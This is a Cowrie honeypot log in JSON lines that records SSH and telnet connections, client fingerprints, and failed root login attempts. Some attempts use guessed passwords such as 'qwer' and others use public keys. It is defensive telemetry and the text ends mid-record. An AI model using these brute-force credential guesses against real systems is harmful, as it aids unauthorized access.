{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47896,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed5c233a8295","protocol":"telnet","message":"New connection: 50.6.8.71:47896 (10.17.0.5:23) [session: ed5c233a8295]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:18:27.544262Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":45438,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c0ef82b4b37","protocol":"ssh","message":"New connection: 103.98.149.87:45438 (10.17.0.5:22) [session: 8c0ef82b4b37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:18:36.118968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:18:36.146851Z","src_ip":"103.98.149.87","session":"8c0ef82b4b37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:18:36.481134Z","src_ip":"103.98.149.87","session":"8c0ef82b4b37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12312345","message":"login attempt [root/12312345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:18:37.244531Z","src_ip":"103.98.149.87","session":"8c0ef82b4b37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:18:38.473145Z","src_ip":"103.98.149.87","session":"8c0ef82b4b37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.859904050827026,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:18:53.218262Z","src_ip":"50.6.8.71","session":"2c48eddcf36d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":45546,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7221af49d8a","protocol":"ssh","message":"New connection: 103.176.20.57:45546 (10.17.0.5:22) [session: c7221af49d8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:18:53.788880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:18:53.793626Z","src_ip":"103.176.20.57","session":"c7221af49d8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:18:54.043063Z","src_ip":"103.176.20.57","session":"c7221af49d8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59686,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb7102440234","protocol":"telnet","message":"New connection: 50.6.8.71:59686 (10.17.0.5:23) [session: bb7102440234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:18:54.365104Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"23456789","message":"login attempt [root/23456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:18:54.797045Z","src_ip":"103.176.20.57","session":"c7221af49d8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:18:56.049783Z","src_ip":"103.176.20.57","session":"c7221af49d8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.95165252685547,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:18:59.862938Z","src_ip":"50.6.8.71","session":"5439d74deb0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.34141993522644,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:19:03.885331Z","src_ip":"50.6.8.71","session":"ed5c233a8295","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":59656,"dst_ip":"159.203.135.109","dst_port":22,"session":"e38aecd5d624","protocol":"ssh","message":"New connection: 87.106.29.151:59656 (159.203.135.109:22) [session: e38aecd5d624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:19:05.160407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:19:05.166150Z","src_ip":"87.106.29.151","session":"e38aecd5d624","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:19:05.261229Z","src_ip":"87.106.29.151","session":"e38aecd5d624","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer","message":"login attempt [root/qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:19:05.685703Z","src_ip":"87.106.29.151","session":"e38aecd5d624","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:19:06.786322Z","src_ip":"87.106.29.151","session":"e38aecd5d624","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.241.76.128","src_port":46872,"dst_ip":"10.17.0.5","dst_port":22,"session":"39ea341a2010","protocol":"ssh","message":"New connection: 191.241.76.128:46872 (10.17.0.5:22) [session: 39ea341a2010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:19:10.426251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:19:10.431024Z","src_ip":"191.241.76.128","session":"39ea341a2010","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:19:10.581692Z","src_ip":"191.241.76.128","session":"39ea341a2010","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0b:d4:5e:90:ac:33:aa:64:a3:27:0b:f3:e8:d0:ad:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDO+k5UJhZtUYMWPubDHXVMt/clExC8tbbItiGTcBnAqJLZFn3HeXvOj+YMfJSCHEPJfmbmPJdMCAxKi6kx7TnnZDEuAqm0AXfoCR1GGe19rsvW/jMbrhZ/kqnkZLq7hlAjOV46O4qcZJ2kYSDQvSWfIhIvJtnuG8XDSFJ3OpETLC2kIRbMVYkXqYH5UxH2PTxtw1v42hVpKtZRCmBjqUfbFf1RhYA8jWXVrQs4xYPlGCAXQxagdKVCNxmGNvuvDsvhfWp/RJ6DdOTaP7LHNeFDhpCvxpHTKf34+qxgtJadKwBAPw9E+/j2Pfo7epWMUAUwF7S3e+1YrDXbRHUNuqkH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0b:d4:5e:90:ac:33:aa:64:a3:27:0b:f3:e8:d0:ad:73","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:19:11.292566Z","src_ip":"191.241.76.128","session":"39ea341a2010","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0b:d4:5e:90:ac:33:aa:64:a3:27:0b:f3:e8:d0:ad:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDO+k5UJhZtUYMWPubDHXVMt/clExC8tbbItiGTcBnAqJLZFn3HeXvOj+YMfJSCHEPJfmbmPJdMCAxKi6kx7TnnZDEuAqm0AXfoCR1GGe19rsvW/jMbrhZ/kqnkZLq7hlAjOV46O4qcZJ2kYSDQvSWfIhIvJtnuG8XDSFJ3OpETLC2kIRbMVYkXqYH5UxH2PTxtw1v42hVpKtZRCmBjqUfbFf1RhYA8jWXVrQs4xYPlGCAXQxagdKVCNxmGNvuvDsvhfWp/RJ6DdOTaP7LHNeFDhpCvxpHTKf34+qxgtJadKwBAPw9E+/j2Pfo7epWMUAUwF7S3e+1YrDXbRHUNuqkH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:19:11.295961Z","src_ip":"191.241.76.128","session":"39ea341a2010","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2f:59:9b:19:20:f3:9e:70:5e:f4:a1:fe:e4:97:40:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjW6TWychBBKcPzlIrEx55sCA3rvxC1FqIdZs62vZuFH8Tq9RyssPRgaboec5ncMlvcyiW3iJ7b3We/sRZCLBVromFRKEkElsHZvJxhiaScznH9A759jY+ToMS5BSKbHsx11/OTQVOSToY3IpOM0zTEcVTs5E0WNPmKHut8dW1uBMLy1nw3uC6CqvBtugliJpEcA/HCkC0tfl7xEtYthjX0dBmGxD4eOkiJiZ50WTqQ3OZJW7tR+2E1rQK9K2WS+fjQPbZf0dLyGwV1thPgare8QOpyr/HksvUTWrhYWw8tm3cUdRC0Vlr2vWxwTYRu3TW0L1swK3Orb1PXxaQNIJn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2f:59:9b:19:20:f3:9e:70:5e:f4:a1:fe:e4:97:40:9d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:19:11.443567Z","src_ip":"191.241.76.128","session":"39ea341a2010","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2f:59:9b:19:20:f3:9e:70:5e:f4:a1:fe:e4:97:40:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjW6TWychBBKcPzlIrEx55sCA3rvxC1FqIdZs62vZuFH8Tq9RyssPRgaboec5ncMlvcyiW3iJ7b3We/sRZCLBVromFRKEkElsHZvJxhiaScznH9A759jY+ToMS5BSKbHsx11/OTQVOSToY3IpOM0zTEcVTs5E0WNPmKHut8dW1uBMLy1nw3uC6CqvBtugliJpEcA/HCkC0tfl7xEtYthjX0dBmGxD4eOkiJiZ50WTqQ3OZJW7tR+2E1rQK9K2WS+fjQPbZf0dLyGwV1thPgare8QOpyr/HksvUTWrhYWw8tm3cUdRC0Vlr2vWxwTYRu3TW0L1swK3Orb1PXxaQNIJn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:19:11.449548Z","src_ip":"191.241.76.128","session":"39ea341a2010","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bd:11:4d:90:12:9a:83:82:e2:8f:db:52:e9:7d:94:bc","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKjMOV0F/uZQ2Ylkz8GJ44eD0RAvHjt0W57C5FXsMZcK","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint bd:11:4d:90:12:9a:83:82:e2:8f:db:52:e9:7d:94:bc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:19:11.596412Z","src_ip":"191.241.76.128","session":"39ea341a2010","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bd:11:4d:90:12:9a:83:82:e2:8f:db:52:e9:7d:94:bc","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKjMOV0F/uZQ2Ylkz8GJ44eD0RAvHjt0W57C5FXsMZcK","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:19:11.599474Z","src_ip":"191.241.76.128","session":"39ea341a2010","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:c6:71:a4:d0:37:a5:5a:8c:e6:d0:eb:78:a1:0a:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0gLYpBXuF8jRzPcgWCwszrsKgIAYIMLToB+9h0YDLtcp6kQG/b23T/D3GjExD7mHV2ZLw2TqcVTNdSGgnQ1GsJw1E2sW5xO9t1WNVx8qZz6GNlkg/eSgmFDHNKhaGOiFf3YG+Ct4mOH+K5Gtz8GRv0h8XAl9MsHGbgEtvBMu9tRAda4wAbVxQy4wbqlgB3RdNIaPg3y8sP29ukiaicrvZ2NJuZPMaQmrpi9yEXjvLxSfWoz8wMjfoxV7K0VEvGqKbypdux/gR3T4D2LU8uNAz7i/2pMXhnnLzcCZoyBmLRgaq3s1XnCbX92SUBs+OqtidlWTFbjWSjLz4xWdgqwTtQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bf:c6:71:a4:d0:37:a5:5a:8c:e6:d0:eb:78:a1:0a:6c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:19:11.746498Z","src_ip":"191.241.76.128","session":"39ea341a2010","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:c6:71:a4:d0:37:a5:5a:8c:e6:d0:eb:78:a1:0a:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0gLYpBXuF8jRzPcgWCwszrsKgIAYIMLToB+9h0YDLtcp6kQG/b23T/D3GjExD7mHV2ZLw2TqcVTNdSGgnQ1GsJw1E2sW5xO9t1WNVx8qZz6GNlkg/eSgmFDHNKhaGOiFf3YG+Ct4mOH+K5Gtz8GRv0h8XAl9MsHGbgEtvBMu9tRAda4wAbVxQy4wbqlgB3RdNIaPg3y8sP29ukiaicrvZ2NJuZPMaQmrpi9yEXjvLxSfWoz8wMjfoxV7K0VEvGqKbypdux/gR3T4D2LU8uNAz7i/2pMXhnnLzcCZoyBmLRgaq3s1XnCbX92SUBs+OqtidlWTFbjWSjLz4xWdgqwTtQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:19:11.751379Z","src_ip":"191.241.76.128","session":"39ea341a2010","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"99:24:73:9c:31:44:09:78:b9:86:1c:9e:7e:23:3c:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDngO3ktniYK4utvxtseoYIqdqeXk6ZOHENsFYaf9fQ1X20+CbfCmCd7QCKWrlLFbjHbkcMc0L7M4EuqbosCYN6zD5pqQVwUsYDAvYpt4myVwlSx5Xn5KFnsoYh0eMNB2ckQvqSjaoZmF90LhJpTJD5+GGYYVOZ5+jsPLXNKRHNyBLVmvSUy1AYyNmb0M8tZ5wCZv48U6R/J1UHbKDnK+k8iuoAe3biQnmDNspfgAiUFvKyasLQ9oA3YH/11S29u7OmSiTy0wRtSTOIMwT6LF7jC/B1IVVuOXwOH+fk8kI8lWSdHlJgUIGZigKRDnPvWePUSsQwHBqm0TN8s5vRi8Tf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 99:24:73:9c:31:44:09:78:b9:86:1c:9e:7e:23:3c:60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:19:11.907763Z","src_ip":"191.241.76.128","session":"39ea341a2010","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"99:24:73:9c:31:44:09:78:b9:86:1c:9e:7e:23:3c:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDngO3ktniYK4utvxtseoYIqdqeXk6ZOHENsFYaf9fQ1X20+CbfCmCd7QCKWrlLFbjHbkcMc0L7M4EuqbosCYN6zD5pqQVwUsYDAvYpt4myVwlSx5Xn5KFnsoYh0eMNB2ckQvqSjaoZmF90LhJpTJD5+GGYYVOZ5+jsPLXNKRHNyBLVmvSUy1AYyNmb0M8tZ5wCZv48U6R/J1UHbKDnK+k8iuoAe3biQnmDNspfgAiUFvKyasLQ9oA3YH/11S29u7OmSiTy0wRtSTOIMwT6LF7jC/B1IVVuOXwOH+fk8kI8lWSdHlJgUIGZigKRDnPvWePUSsQwHBqm0TN8s5vRi8Tf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:19:11.910728Z","src_ip":"191.241.76.128","session":"39ea341a2010","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:19:12.057184Z","src_ip":"191.241.76.128","session":"39ea341a2010","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":55280,"dst_ip":"159.203.135.109","dst_port":22,"session":"61a67604b01b","protocol":"ssh","message":"New connection: 80.94.92.184:55280 (159.203.135.109:22) [session: 61a67604b01b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:19:13.323083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:19:13.696242Z","src_ip":"80.94.92.184","session":"61a67604b01b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 